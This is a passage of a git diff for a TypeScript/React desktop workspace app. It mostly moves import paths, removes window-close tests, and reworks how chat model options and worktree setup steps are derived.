-    const tabId = mocks.createTab.mock.calls[0][3].id
-    expect(setTabBarOrder).toHaveBeenCalledWith(WORKTREE_ID, ['browser-1', 'term-a', tabId])
-  })
-})
diff --git a/src/renderer/src/components/use-terminal-create-actions.ts b/src/renderer/src/components/use-terminal-create-actions.ts
index 8a4819c276f..83107b9997e 100644
--- a/src/renderer/src/components/use-terminal-create-actions.ts
+++ b/src/renderer/src/components/use-terminal-create-actions.ts
@@ -1,6 +1,6 @@
 import { useCallback } from 'react'
 import { toast } from 'sonner'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { focusTerminalTabSurface } from '@/components/terminal-pane/input/focus/focus-terminal-tab-surface'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../shared/non-secure-context-uuid'
 import { createWebRuntimeSessionBrowserTab } from '@/runtime/browser/creation/web-runtime-browser-creation'
@@ -8,11 +8,12 @@ import { createWebRuntimeSessionTerminal } from '@/runtime/hosted-terminals/crea
 import { isWebRuntimeSessionActive } from '@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment'
 import { openMobileEmulatorTab } from '@/lib/simulator/launch/open-mobile-emulator-tab'
 import { persistAgentLaunchTabOrder } from '@/lib/agent-session/launch/pane/launch-agent-tab-order'
-import { buildDuplicatedBrowserTabOptions } from '@/lib/duplicate-browser-tab-options'
+import { buildDuplicatedBrowserTabOptions } from '@/lib/browser/workspace/duplicate-browser-tab-options'
 import { browserWorkspaceHasRemoteOwner } from '@/runtime/browser/ownership/remote-browser-tab-ownership'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
-import { showClientCreationActionError } from '@/lib/client-creation-action-error'
-import { openTabBarEntry, type TabCreateEntryArgs } from './tab-bar/tab-create-entry-action'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
+import { showClientCreationActionError } from '@/lib/workspace/creation/surface-policy/client-creation-action-error'
+import { openTabBarEntry } from './tab-bar/tab-create-entry-action'
+import type { TabCreateEntryArgs } from './tab-bar/tab-create-entry-action'
 import { translate } from '@/i18n/i18n'
 import { getActiveWorktreeRuntimeEnvironmentId } from './terminal-workspace-model'
 import type { TerminalColdActivationController } from './terminal-cold-activation'
diff --git a/src/renderer/src/components/use-terminal-editor-close-foundation.window-close.test.tsx b/src/renderer/src/components/use-terminal-editor-close-foundation.window-close.test.tsx
deleted file mode 100644
index 8edda9274b3..00000000000
--- a/src/renderer/src/components/use-terminal-editor-close-foundation.window-close.test.tsx
+++ /dev/null
@@ -1,73 +0,0 @@
-// @vitest-environment happy-dom
-
-/** Exercise close-policy wiring: native close must consult running-work assessment and stop when it warns. */
-import { act, cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const { assessWindowCloseRunningWorkMock, confirmWindowCloseMock } = vi.hoisted(() => ({
-  assessWindowCloseRunningWorkMock: vi.fn(),
-  confirmWindowCloseMock: vi.fn()
-}))
-
-vi.mock('./terminal/window-close-running-work', () => ({
-  assessWindowCloseRunningWork: assessWindowCloseRunningWorkMock
-}))
-vi.mock('./window-close-request-coordinator', () => ({
-  runWithWindowCloseCheckpointScope: (fn: () => unknown) => fn()
-}))
-vi.mock('@/app-shell/shutdown/shutdown-checkpoint-failure-toast', () => ({
-  showShutdownCheckpointFailureToast: vi.fn()
-}))
-
-const { useTerminalEditorCloseFoundation } = await import('./use-terminal-editor-close-foundation')
-
-const controller = { openFiles: [] } as unknown as Parameters<
-  typeof useTerminalEditorCloseFoundation
->[0]
-
-function mountFoundation() {
-  return renderHook(() => useTerminalEditorCloseFoundation(controller))
-}
-
-beforeEach(() => {
-  vi.clearAllMocks()
-  Object.assign(globalThis, {
-    window: Object.assign(globalThis.window, {
-      api: { ui: { confirmWindowClose: confirmWindowCloseMock } }
-    })
-  })
-})
-
-afterEach(() => {
-  cleanup()
-})
-
-describe('proceedToNativeWindowClose', () => {
-  it('raises the dialog and does not close when a host reports live work', async () => {
-    assessWindowCloseRunningWorkMock.mockResolvedValue({ kind: 'running' })
-    const { result } = mountFoundation()
-
-    await act(async () => {
-      result.current.proceedToNativeWindowClose(true)
-    })
-
-    expect(result.current.windowCloseDialogOpen).toBe(true)
-    expect(result.current.windowCloseDialogKind).toBe('running')
-    expect(confirmWindowCloseMock).not.toHaveBeenCalled()
-  })
-
-  it('raises the unverifiable copy when a remote host could not be reached', async () => {
-    assessWindowCloseRunningWorkMock.mockResolvedValue({ kind: 'unverifiable' })
-    const { result } = mountFoundation()
-
-    await act(async () => {
-      result.current.proceedToNativeWindowClose(true)
-    })
-
-    expect(result.current.windowCloseDialogOpen).toBe(true)
-    expect(result.current.windowCloseDialogKind).toBe('unverifiable')
-    expect(confirmWindowCloseMock).not.toHaveBeenCalled()
-  })
-
-  // Assessment exceptions must not leave SIGKILL as the only way to close.
-})
diff --git a/src/renderer/src/components/use-terminal-workspace-foundation.ts b/src/renderer/src/components/use-terminal-workspace-foundation.ts
index 898126bbd3f..6bedf6ceb5b 100644
--- a/src/renderer/src/components/use-terminal-workspace-foundation.ts
+++ b/src/renderer/src/components/use-terminal-workspace-foundation.ts
@@ -2,9 +2,9 @@ import { useMemo, useRef } from 'react'
 import { MountedTerminalWorktrees } from './terminal/split-group-mount'
 import { parseWorkspaceKey } from '../../../shared/workspace-scope'
 import type { TerminalTab } from '../../../shared/workspace-layout/terminal-tab-types'
-import { useAppStore } from '../store'
+import { useAppStore } from '../store/index'
 import { useWorktreeMap } from '../store/slices/worktrees/listing/use-worktree-catalog'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import type { WorktreeTabBucketProjection } from '@/lib/workspace/tabs/worktree-tab-bucket-projection'
 import { projectWorkspaceSurfaces } from './workspace-surface-projection'
 import {
diff --git a/src/renderer/src/components/use-terminal-workspace-projection.ts b/src/renderer/src/components/use-terminal-workspace-projection.ts
index 84172ea3f91..1741c084eb6 100644
--- a/src/renderer/src/components/use-terminal-workspace-projection.ts
+++ b/src/renderer/src/components/use-terminal-workspace-projection.ts
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo } from 'react'
 import { useAppStore } from '../store'
 import { hasFeatureInteraction } from '../../../shared/feature-interactions'
 import { setForegroundTerminalTabIds } from '@/components/terminal-pane/parking/retention/foreground-terminal-tabs'
-import { useClientHostedBrowserRows } from '@/lib/pane-manager/client-hosted-browser-row-state'
+import { useClientHostedBrowserRows } from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import { useTerminalProviderSnapshotCapability } from './terminal/use-terminal-provider-snapshot-capability'
 import { getEffectiveLayoutForWorktree as getEffectiveLayout } from './terminal/split-group-mount'
 import { useContextualTour } from './contextual-tours/use-contextual-tour'
diff --git a/src/renderer/src/components/window-close-request-coordinator.test.ts b/src/renderer/src/components/window-close-request-coordinator.test.ts
index 7f7c5749578..4c16bd08641 100644
--- a/src/renderer/src/components/window-close-request-coordinator.test.ts
+++ b/src/renderer/src/components/window-close-request-coordinator.test.ts
@@ -10,7 +10,6 @@ import {
   dispatchWindowCloseRequest,
   isWindowCloseCheckpointInProgress,
   registerWindowCloseGuard,
-  runWithWindowCloseCheckpointScope,
   setWindowCloseRequestHandler
 } from './window-close-request-coordinator'
 
@@ -77,17 +76,6 @@ describe('window-close-request-coordinator', () => {
     expect(consumeShutdownCheckpointFailureReason()).toBeNull()
   })
 
-  it('delegates to the rich handler and does NOT confirm directly when one is registered', async () => {
-    const handler = vi.fn()
-    setWindowCloseRequestHandler(handler)
-
-    await dispatchWindowCloseRequest({ isQuitting: false })
-
-    expect(handler).toHaveBeenCalledWith({ isQuitting: false })
-    // Only the rich handler confirms after save/process guards; dispatch must not bypass them.
-    expect(confirmWindowClose).not.toHaveBeenCalled()
-  })
-
   it('cancels the close — no confirm, no handler — when a guard vetoes', async () => {
     const handler = vi.fn()
     setWindowCloseRequestHandler(handler)
@@ -101,26 +89,6 @@ describe('window-close-request-coordinator', () => {
     expect(toast.error).not.toHaveBeenCalled()
   })
 
-  it('proceeds to confirm when all guards allow the close', async () => {
-    addGuard(() => true)
-    addGuard(async () => true)
-
-    await dispatchWindowCloseRequest({ isQuitting: true })
-
-    expect(confirmWindowClose).toHaveBeenCalledTimes(1)
-  })
-
-  it('short-circuits on the first vetoing guard', async () => {
-    const second = vi.fn(() => true)
-    addGuard(() => false)
-    addGuard(second)
-
-    await dispatchWindowCloseRequest({ isQuitting: true })
-
-    expect(second).not.toHaveBeenCalled()
-    expect(confirmWindowClose).not.toHaveBeenCalled()
-  })
-
   it('ignores a re-entrant close request while a guard is still pending', async () => {
     let resolveGuard: (value: boolean) => void = () => {}
     const guard = vi.fn(
@@ -139,24 +107,4 @@ describe('window-close-request-coordinator', () => {
     await first
     expect(confirmWindowClose).toHaveBeenCalledTimes(1)
   })
-
-  it('stops consulting a guard once it is unregistered', async () => {
-    const guard = vi.fn(() => false)
-    const unregister = registerWindowCloseGuard(guard)
-    unregister()
-
-    await dispatchWindowCloseRequest({ isQuitting: true })
-
-    expect(guard).not.toHaveBeenCalled()
-    expect(confirmWindowClose).toHaveBeenCalledTimes(1)
-  })
-
-  it('clears the window-close checkpoint flag when the wrapped dispatch throws', () => {
-    expect(() =>
-      runWithWindowCloseCheckpointScope(() => {
-        throw new Error('listener exploded')
-      })
-    ).toThrow('listener exploded')
-    expect(isWindowCloseCheckpointInProgress()).toBe(false)
-  })
 })
diff --git a/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-facet-rows.ts b/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-facet-rows.ts
index 0d2fbdf8a9e..f8f276e3a63 100644
--- a/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-facet-rows.ts
+++ b/src/renderer/src/components/workspace-cleanup/use-workspace-cleanup-facet-rows.ts
@@ -1,7 +1,8 @@
 import { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import { useAppStore } from '@/store'
-import { getLiveAgentStatusByWorktreeId } from '@/lib/worktree-activity-state'
+import { useAppStore } from '@/store/index'
+import { getLiveAgentStatusByWorktreeId } from '@/lib/workspace/activity/worktree-activity-state'
+import { translateWorkspaceBoardStatusLabel } from '@/components/sidebar/workspace-board-status-label'
 import type { HostedReviewProvider } from '../../../../shared/source-control/hosted-review/hosted-review-contracts'
 import type { WorkspaceCleanupCandidate } from '../../../../shared/workspace-cleanup/workspace-cleanup'
 import type {
@@ -251,7 +252,7 @@ export function useWorkspaceCleanupFacetRows({
     return {
       workspaceStatuses: sources.workspaceStatuses.map((status) => ({
         id: status.id,
-        label: status.label
+        label: translateWorkspaceBoardStatusLabel(status)
       })),
       hostIds: [...new Set(facets.map((row) => row.hostId))].sort(),
       repos: [...repoLabels].map(([id, label]) => ({ id, label })),
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-row-caches.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-row-caches.ts
index 891ca569228..071deff9599 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-row-caches.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet-row-caches.ts
@@ -1,4 +1,4 @@
-import type { LiveAgentWorktreeStatus } from '@/lib/worktree-activity-state'
+import type { LiveAgentWorktreeStatus } from '../../../../shared/sidebar-list/workspace-activity-facts'
 import type { WorkspaceStatusDefinition } from '../../../../shared/worktree/types'
 import type { WorkspaceCleanupCandidate } from '../../../../shared/workspace-cleanup/workspace-cleanup'
 import {
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet.test.fixture.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet.test.fixture.ts
index 7b92a199d5d..809159719ef 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet.test.fixture.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facet.test.fixture.ts
@@ -1,4 +1,4 @@
-import type { LiveAgentWorktreeStatus } from '@/lib/worktree-activity-state'
+import type { LiveAgentWorktreeStatus } from '../../../../shared/sidebar-list/workspace-activity-facts'
 import type { WorkspaceCleanupCandidate } from '../../../../shared/workspace-cleanup/workspace-cleanup'
 import { cloneDefaultWorkspaceStatuses } from '../../../../shared/workspace-statuses'
 import { getWorkspaceCleanupCandidateIdentity } from '../../../../shared/workspace-cleanup/workspace-cleanup-host-identity'
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facets.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facets.ts
index a422eceac73..05b38f93c17 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facets.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-facets.ts
@@ -1,4 +1,4 @@
-import type { LiveAgentWorktreeStatus } from '@/lib/worktree-activity-state'
+import type { LiveAgentWorktreeStatus } from '../../../../shared/sidebar-list/workspace-activity-facts'
 import type { ExecutionHostId } from '../../../../shared/execution-host'
 import type { WorkspaceStatusDefinition } from '../../../../shared/worktree/types'
 import {
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-git-review-facets.tsx b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-git-review-facets.tsx
index a3e0fc7fe15..2c003374b20 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-git-review-facets.tsx
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-git-review-facets.tsx
@@ -1,6 +1,6 @@
 import React from 'react'
 import { useTranslate } from '@/i18n/use-translate'
-import { getExecutionHostLabel } from '../../../../shared/execution-host'
+import { getTranslatedExecutionHostLabel } from '../sidebar/execution-host-label'
 import {
   WORKSPACE_CLEANUP_BLOCKER_MODE_VALUES,
   WORKSPACE_CLEANUP_BLOCKER_VALUES,
@@ -139,7 +139,7 @@ export function WorkspaceCleanupGitReviewFacets({
           label={t('components.workspace.cleanup.browse.host', 'Host')}
           values={options.hostIds}
           selected={filters.location.hostIds}
-          getLabel={getExecutionHostLabel}
+          getLabel={(hostId) => getTranslatedExecutionHostLabel(hostId)}
           onChange={(hostIds) => onPatch('location', { hostIds })}
         />
         {options.repos.length > 1 ? (
diff --git a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-host-label.ts b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-host-label.ts
index 0542829929a..2684a7ef620 100644
--- a/src/renderer/src/components/workspace-cleanup/workspace-cleanup-host-label.ts
+++ b/src/renderer/src/components/workspace-cleanup/workspace-cleanup-host-label.ts
@@ -1,6 +1,6 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
-import { getExecutionHostLabel } from '../../../../shared/execution-host'
+import { getTranslatedExecutionHostLabel } from '../sidebar/execution-host-label'
 import type { WorkspaceCleanupCandidate } from '../../../../shared/workspace-cleanup/workspace-cleanup'
 import './workspace-cleanup-host-identity'
 import { resolveWorkspaceCleanupRemovalHostId } from '../../../../shared/workspace-cleanup/workspace-cleanup-host-identity'
@@ -11,7 +11,7 @@ export function getWorkspaceCleanupCandidateHostLabel(
 ): string {
   const hostId = resolveWorkspaceCleanupRemovalHostId(candidate)
   return hostId
-    ? getExecutionHostLabel(hostId)
+    ? getTranslatedExecutionHostLabel(hostId)
     : t('components.workspace.cleanup.host.unknown', 'Unknown host')
 }
 
diff --git a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerButton.tsx b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerButton.tsx
index 4626b71107b..419155ede78 100644
--- a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerButton.tsx
+++ b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerButton.tsx
@@ -5,7 +5,7 @@ import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip
 import { useTranslate } from '@/i18n/use-translate'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
 import { lazyWithPreload } from '@/app-shell/startup/lazy-with-retry'
-import { insertWorkspaceEmojiAtSelection } from '@/lib/workspace-emoji-shortcodes'
+import { insertWorkspaceEmojiAtSelection } from '@/lib/workspace/display/workspace-emoji-shortcodes'
 import { cn } from '@/lib/class-names'
 
 // Why: keeps the picker out of the boot bundle; preloaded on hover/focus so the first open is instant.
diff --git a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerPanel.tsx b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerPanel.tsx
index 8499fb74639..8787547a909 100644
--- a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerPanel.tsx
+++ b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerPanel.tsx
@@ -8,11 +8,9 @@ import {
   CommandList
 } from '@/components/ui/command'
 import { useTranslate } from '@/i18n/use-translate'
-import { getWorkspaceEmojiPickerDefaults } from '@/lib/workspace-emoji-picker-defaults'
-import {
-  searchWorkspaceEmojiShortcodes,
-  type WorkspaceEmojiSuggestion
-} from '@/lib/workspace-emoji-shortcodes'
+import { getWorkspaceEmojiPickerDefaults } from '@/lib/workspace/display/workspace-emoji-picker-defaults'
+import { searchWorkspaceEmojiShortcodes } from '@/lib/workspace/display/workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../shared/emoji-shortcode-catalog'
 
 const SEARCH_LIMIT = 50
 
@@ -26,7 +24,7 @@ export function WorkspaceEmojiPickerPanel({
 }: WorkspaceEmojiPickerPanelProps): React.JSX.Element {
   const t = useTranslate()
   const [query, setQuery] = useState('')
-  const items = useMemo<readonly WorkspaceEmojiSuggestion[]>(
+  const items = useMemo<readonly StandardEmojiShortcodeEntry[]>(
     () =>
       query.trim()
         ? searchWorkspaceEmojiShortcodes(query, SEARCH_LIMIT)
diff --git a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiSuggestionPopover.tsx b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiSuggestionPopover.tsx
index eb8496bca8c..35b5156fad2 100644
--- a/src/renderer/src/components/workspace-emoji/WorkspaceEmojiSuggestionPopover.tsx
+++ b/src/renderer/src/components/workspace-emoji/WorkspaceEmojiSuggestionPopover.tsx
@@ -2,7 +2,7 @@ import { useEffect, useRef, type ComponentProps, type RefObject } from 'react'
 import { Command, CommandGroup, CommandItem, CommandList } from '@/components/ui/command'
 import { Popover, PopoverAnchor, PopoverContent } from '@/components/ui/popover'
 import { cn } from '@/lib/class-names'
-import type { WorkspaceEmojiSuggestion } from '@/lib/workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../shared/emoji-shortcode-catalog'
 
 type WorkspaceEmojiSuggestionPopoverProps = {
   anchorRef: RefObject<HTMLInputElement | null>
@@ -11,11 +11,11 @@ type WorkspaceEmojiSuggestionPopoverProps = {
   heading: string
   onCommandValueChange: (value: string) => void
   onOpenChange: (open: boolean) => void
-  onSelect: (suggestion: WorkspaceEmojiSuggestion) => void
+  onSelect: (suggestion: StandardEmojiShortcodeEntry) => void
   open: boolean
   portalContainer?: HTMLElement | null
   side?: ComponentProps<typeof PopoverContent>['side']
-  suggestions: readonly WorkspaceEmojiSuggestion[]
+  suggestions: readonly StandardEmojiShortcodeEntry[]
 }
 
 export function WorkspaceEmojiSuggestionPopover({
diff --git a/src/renderer/src/components/workspace-emoji/useWorkspaceEmojiShortcodeInput.ts b/src/renderer/src/components/workspace-emoji/useWorkspaceEmojiShortcodeInput.ts
index 081299143bc..ad669932dfb 100644
--- a/src/renderer/src/components/workspace-emoji/useWorkspaceEmojiShortcodeInput.ts
+++ b/src/renderer/src/components/workspace-emoji/useWorkspaceEmojiShortcodeInput.ts
@@ -5,9 +5,9 @@ import {
   getActiveWorkspaceEmojiShortcode,
   replaceCompletedWorkspaceEmojiShortcode,
   searchWorkspaceEmojiShortcodes,
-  type WorkspaceEmojiReplacement,
-  type WorkspaceEmojiSuggestion
-} from '@/lib/workspace-emoji-shortcodes'
+  type WorkspaceEmojiReplacement
+} from '@/lib/workspace/display/workspace-emoji-shortcodes'
+import type { StandardEmojiShortcodeEntry } from '../../../../shared/emoji-shortcode-catalog'
 
 type WorkspaceEmojiShortcodeInputOptions = {
   disabled?: boolean
@@ -92,7 +92,7 @@ export function useWorkspaceEmojiShortcodeInput({
   const close = useCallback(() => setCursor(null), [])
 
   const selectSuggestion = useCallback(
-    (suggestion: WorkspaceEmojiSuggestion) => {
+    (suggestion: StandardEmojiShortcodeEntry) => {
       if (!activeShortcode) {
         return
       }
diff --git a/src/renderer/src/components/workspace-space/SpaceWindowStatePublisher.tsx b/src/renderer/src/components/workspace-space/SpaceWindowStatePublisher.tsx
index 9d9939c5540..5059a88447d 100644
--- a/src/renderer/src/components/workspace-space/SpaceWindowStatePublisher.tsx
+++ b/src/renderer/src/components/workspace-space/SpaceWindowStatePublisher.tsx
@@ -7,6 +7,7 @@ import {
   type SpaceWindowState
 } from './space-window-state'
 import { revealWorkspaceSpaceChange } from '../status-bar/workspace-space-open-change'
+import { refreshLinkedIssueForWorktree } from '../status-bar/workspace-space-issue-freshness'
 
 export function SpaceWindowStatePublisher(): null {
   useEffect(() => {
@@ -70,6 +71,9 @@ export function SpaceWindowStatePublisher(): null {
     const offRefresh = api.onWorktreeRefreshRequested?.(() => {
       void useAppStore.getState().fetchAllWorktrees()
     })
+    const offIssueRefresh = api.onIssueRefreshRequested?.((worktreeId, executionHostId) => {
+      refreshLinkedIssueForWorktree(worktreeId, executionHostId)
+    })
     const offAnalysis = api.onWindowAnalysis?.((analysis) => {
       if (typeof analysis.scannedAt === 'number') {
         useAppStore.setState({ workspaceSpaceAnalysis: analysis })
@@ -84,6 +88,7 @@ export function SpaceWindowStatePublisher(): null {
       offClose?.()
       offReveal?.()
       offRefresh?.()
+      offIssueRefresh?.()
       offAnalysis?.()
     }
   }, [])
diff --git a/src/renderer/src/components/worktree-creation/use-pending-native-chat-options.ts b/src/renderer/src/components/worktree-creation/use-pending-native-chat-options.ts
index 4ec4cfd0e7f..080e50d2a23 100644
--- a/src/renderer/src/components/worktree-creation/use-pending-native-chat-options.ts
+++ b/src/renderer/src/components/worktree-creation/use-pending-native-chat-options.ts
@@ -6,8 +6,14 @@ import { firstFrameOptionState } from '@/components/native-chat/session/options/
 import { structuredAgentSessionSeedCatalog } from '../../../../shared/agent-session/options/structured-agent-session-seed-catalog'
 import {
   applyStructuredAgentSessionModelCatalog,
+  settleStructuredAgentSessionBuiltinCatalog,
   type StructuredAgentSessionOptionState
 } from '../../../../shared/agent-session/options/structured-agent-session-options'
+import { structuredLaunchSeedOptions } from '../../../../shared/native-chat/input/native-chat-session-option-defaults'
+import { joinHostModelListingWait } from '../../../../shared/host-model-listing-waits'
+import { recordHostModelCatalogSnapshot } from '@/runtime/native-chat/model-catalogs/host-model-catalog-snapshots'
+import { structuredAgentSessionHostKey } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-capability'
+import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
 import {
   structuredAgentSessionOptionView,
   structuredAgentSessionShownSnapshot
@@ -33,48 +39,65 @@ export function usePendingNativeChatOptions(
     state: StructuredAgentSessionOptionState
   } | null>(null)
   const [demand, setDemand] = useState(0)
+  // A local chat seeds the saved selection and permission default, as its launch will; a paired host names its own.
+  const settings = useAppStore((s) => s.settings)
+  const launchSeed = useMemo(
+    () =>
+      target?.kind === 'local' && agent ? structuredLaunchSeedOptions(settings, agent) : undefined,
+    [agent, settings, target?.kind]
+  )
+  const seedsModel = launchSeed?.model !== undefined
   const seed = useMemo(
     () =>
       agent && target
         ? firstFrameOptionState(agent, target, {
             newLaunch: true,
-            worktree: worktreeId,
-            seedsModel: false
+            ...(worktreeId ? { worktree: toRuntimeWorktreeSelector(worktreeId) } : {}),
+            seedsModel
           })
         : null,
-    [agent, target, worktreeId]
+    [agent, seedsModel, target, worktreeId]
   )
   useEffect(() => {
-    if (!agent || !target) {
+    if (!agent || !target || !seed) {
       return
     }
-    let current = true
-    void callStructuredAgentSession<AgentSessionModelCatalogResult>(
-      target,
-      'agentSession.modelCatalog',
-      {
-        agent,
-        ...(worktreeId ? { worktree: worktreeId } : {}),
-        waitForListing: true
+    // Re-reads while the host's listing runs; a failed read falls back to the built-in list instead of a dead pill.
+    return joinHostModelListingWait(
+      `${structuredAgentSessionHostKey(target)}\u0000${agent}\u0000${key}`,
+      () =>
+        callStructuredAgentSession<AgentSessionModelCatalogResult>(
+          target,
+          'agentSession.modelCatalog',
+          { agent, ...(worktreeId ? { worktree: worktreeId } : {}), waitForListing: true }
+        ),
+      (answer) => {
+        if (answer && worktreeId) {
+          // The worktree's chat opens from this answer instead of waiting for its own read.
+          recordHostModelCatalogSnapshot(
+            target,
+            agent,
+            toRuntimeWorktreeSelector(worktreeId),
+            answer
+          )
+        }
+        setCatalog((previous) => ({
+          key,
+          state: answer
+            ? applyStructuredAgentSessionModelCatalog(
+                seed,
+                structuredAgentSessionSeedCatalog(agent),
+                answer,
+                { newLaunch: true }
+              )
+            : // A failed re-read keeps a list an earlier read already brought.
+              settleStructuredAgentSessionBuiltinCatalog(
+                previous?.key === key ? previous.state : seed,
+                false
+              )
+        }))
       }
     )
-      .then((answer) => {
-        if (current && seed) {
-          setCatalog({
-            key,
-            state: applyStructuredAgentSessionModelCatalog(
-              seed,
-              structuredAgentSessionSeedCatalog(agent),
-              answer,
-              { newLaunch: true }
-            )
-          })
-        }
-      })
-      .catch(() => {})
-    return () => {
-      current = false
-    }
   }, [agent, demand, key, seed, target, worktreeId])
   const state = catalog?.key === key ? catalog.state : seed
   const picks =
@@ -83,13 +106,13 @@ export function usePendingNativeChatOptions(
     () =>
       state
         ? structuredAgentSessionShownSnapshot(
-            structuredAgentSessionOptionView(state, undefined, picks ?? {})
+            structuredAgentSessionOptionView(state, launchSeed, picks ?? {})
           ).map((option) => ({
             ...option,
             settable: option.settable && entry?.chatInputHandedOff !== true
           }))
         : [],
-    [entry?.chatInputHandedOff, picks, state]
+    [entry?.chatInputHandedOff, launchSeed, picks, state]
   )
   const creationId = entry?.creationId
   const surface = useMemo<SessionOptionsSurface>(
diff --git a/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts
index c1911b34e53..ae9acaed6a7 100644
--- a/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts
+++ b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts
@@ -19,7 +19,13 @@ export type WorktreeSetupStep = {
 
 type SetupStepEntry = Pick<
   PendingWorktreeCreation,
-  'status' | 'phase' | 'indeterminate' | 'phaseLog' | 'startedAt' | 'checkoutProgress'
+  | 'status'
+  | 'phase'
+  | 'indeterminate'
+  | 'phaseLog'
+  | 'startedAt'
+  | 'checkoutProgress'
+  | 'chatHandedOffAt'
 >
 
 const PHASE_STEPS: readonly { phase: WorktreeCreationPhase; id: WorktreeSetupStepId }[] = [
@@ -28,25 +34,35 @@ const PHASE_STEPS: readonly { phase: WorktreeCreationPhase; id: WorktreeSetupSte
   { phase: 'creating', id: 'create' }
 ]
 
-const START_AGENT: WorktreeSetupStep = {
-  id: 'start-agent',
-  state: 'pending',
-  elapsedMs: null,
-  percent: null
+function startAgentStep(entry: SetupStepEntry, now: number): WorktreeSetupStep {
+  const startedAt = entry.chatHandedOffAt
+  if (startedAt === undefined) {
+    return { id: 'start-agent', state: 'pending', elapsedMs: null, percent: null }
+  }
+  return entry.status === 'error'
+    ? { id: 'start-agent', state: 'failed', elapsedMs: null, percent: null }
+    : { id: 'start-agent', state: 'running', elapsedMs: now - startedAt, percent: null }
 }
 
-/** Checklist rows for a pending chat's worktree; the agent row stays pending because this surface ends before it starts. */
+/** Checklist rows for a pending chat's worktree; the agent row runs once the worktree is ready and the chat opens. */
 export function deriveWorktreeSetupSteps(entry: SetupStepEntry, now: number): WorktreeSetupStep[] {
-  const failed = entry.status === 'error'
+  const handedOffAt = entry.chatHandedOffAt
+  // A failure after the worktree exists belongs to the agent row, not to a worktree step.
+  const failed = entry.status === 'error' && handedOffAt === undefined
   if (entry.indeterminate) {
     return [
       {
         id: 'setup',
-        state: failed ? 'failed' : 'running',
-        elapsedMs: failed ? null : now - entry.startedAt,
+        state: handedOffAt !== undefined ? 'done' : failed ? 'failed' : 'running',
+        elapsedMs:
+          handedOffAt !== undefined
+            ? handedOffAt - entry.startedAt
+            : failed
+              ? null
+              : now - entry.startedAt,
         percent: null
       },
-      START_AGENT
+      startAgentStep(entry, now)
     ]
   }
   const log = entry.phaseLog?.length
@@ -66,9 +82,9 @@ export function deriveWorktreeSetupSteps(entry: SetupStepEntry, now: number): Wo
       return
     }
     const record = entered[at]
-    const next = entered[at + 1]
-    if (next) {
-      steps.push({ id, state: 'done', elapsedMs: next.at - record.at, percent: null })
+    const endedAt = entered[at + 1]?.at ?? handedOffAt
+    if (endedAt !== undefined) {
+      steps.push({ id, state: 'done', elapsedMs: endedAt - record.at, percent: null })
       return
     }
     steps.push(
@@ -83,6 +99,6 @@ export function deriveWorktreeSetupSteps(entry: SetupStepEntry, now: number): Wo
           }
     )
   })
-  steps.push(START_AGENT)
+  steps.push(startAgentStep(entry, now))
   return steps
 }
diff --git a/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.linear-url.test.tsx b/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.linear-url.test.tsx
deleted file mode 100644
index 99bf66b8035..00000000000
--- a/src/renderer/src/components/worktree-jump/WorktreeJumpPalette.linear-url.test.tsx
+++ /dev/null
@@ -1,338 +0,0 @@
-import { linearIssueReadFixture } from '@/store/slices/linear/linear-slice-test-harness'
